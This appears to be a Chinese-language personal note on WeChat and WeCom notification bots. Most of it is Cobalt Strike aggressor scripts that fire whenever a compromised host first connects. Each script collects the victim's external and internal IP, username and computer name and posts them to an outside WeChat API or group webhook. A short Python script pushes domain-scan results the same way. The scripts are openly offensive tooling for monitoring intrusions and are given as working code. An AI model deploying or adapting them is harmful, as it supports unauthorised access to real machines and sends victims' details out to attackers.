微信机器人2
小8机器人
cs上线提醒
can文件
on beacon_initial {
sub http_get {
local('$output');
$url = [new java.net.URL: $1];
$stream = [$url openStream];
$handle = [SleepUtils getIOHandle: $stream, $null];
@content = readAll($handle);
foreach $line (@content) {
$output .= $line . "\r\n";
}
println($output);
}
#获取ip、计算机名、登录账号
$externalIP = replace(beacon_info($1, "external"), " ", "_");
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$url = 'https://i.hacking8.com/wechat-api/自己的key?msg=CS%E4%B8%8A%E7%BA%BF%E6%8F%90%E9%86%92%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;
http_get($url);
}
域名扫描结果提醒,需要服务器去运行
domain.py
import requests
api = "?msg="
with open("123.txt") as f:
data = f.read()
resp = requests.get("https://i.hacking8.com/wechat-api/自己的key",
params={
"msg": data
})
print(resp)
其他扫描也类似,扫描完成后读取文件
公众号机器人
需要一个能登录网页版的微信来调用itchat库,我的登不上,放弃
使用公众号来作消息回复
安装教程参考:https://blog.csdn.net/m0_37922734/article/details/104240943
但后续不知道咋改了
调用微信公众号接口发现公众号没认证无法调用
暴力点 直接用公众号向用户发包时抓包,然后写进1.py的
实现扫描返回域名扫描返回结果,需要在服务器运行,通过&&来后续运行py脚本
企业微信机器人cs上线提醒
can文件
on beacon_initial {
# 推送消息的文本
$text = "cs上线提醒 \r\n";
$text = $text."\r\n外网地址:".beacon_info($1, 'external');
$text = $text."\r\n内网地址:".beacon_info($1, 'internal');
$text = $text."\r\n用 户 名:".beacon_info($1, 'user');
$text = $text."\r\n计算机名:".beacon_info($1, 'computer');
send_text($text);
}
sub send_text {
$url = "企业微信群机器人给的url地址";
$json = "{\"msgtype\": \"text\", \"text\" : {\"content\" :\"$1 $+ \"}";
$result = http_post($url, $json);
}
sub http_post {
local('$output');
$url = [new java.net.URL: $1];
$conn = [$url openConnection];
[$conn setRequestMethod: "POST"];
[$conn setDoOutput: true];
[$conn setRequestProperty: "Content-Length", strlen($2)];
[$conn setRequestProperty: "Content-Type", "application/json"];
$outStream = [$conn getOutputStream];
[$outStream write: [$2 getBytes]];
$inStream = [$conn getInputStream];
$handle = [SleepUtils getIOHandle: $inStream, $outStream];
@content = readAll($handle);
return @content;
}
或者cs的其他插件https://github.com/not-know/qywx_app_message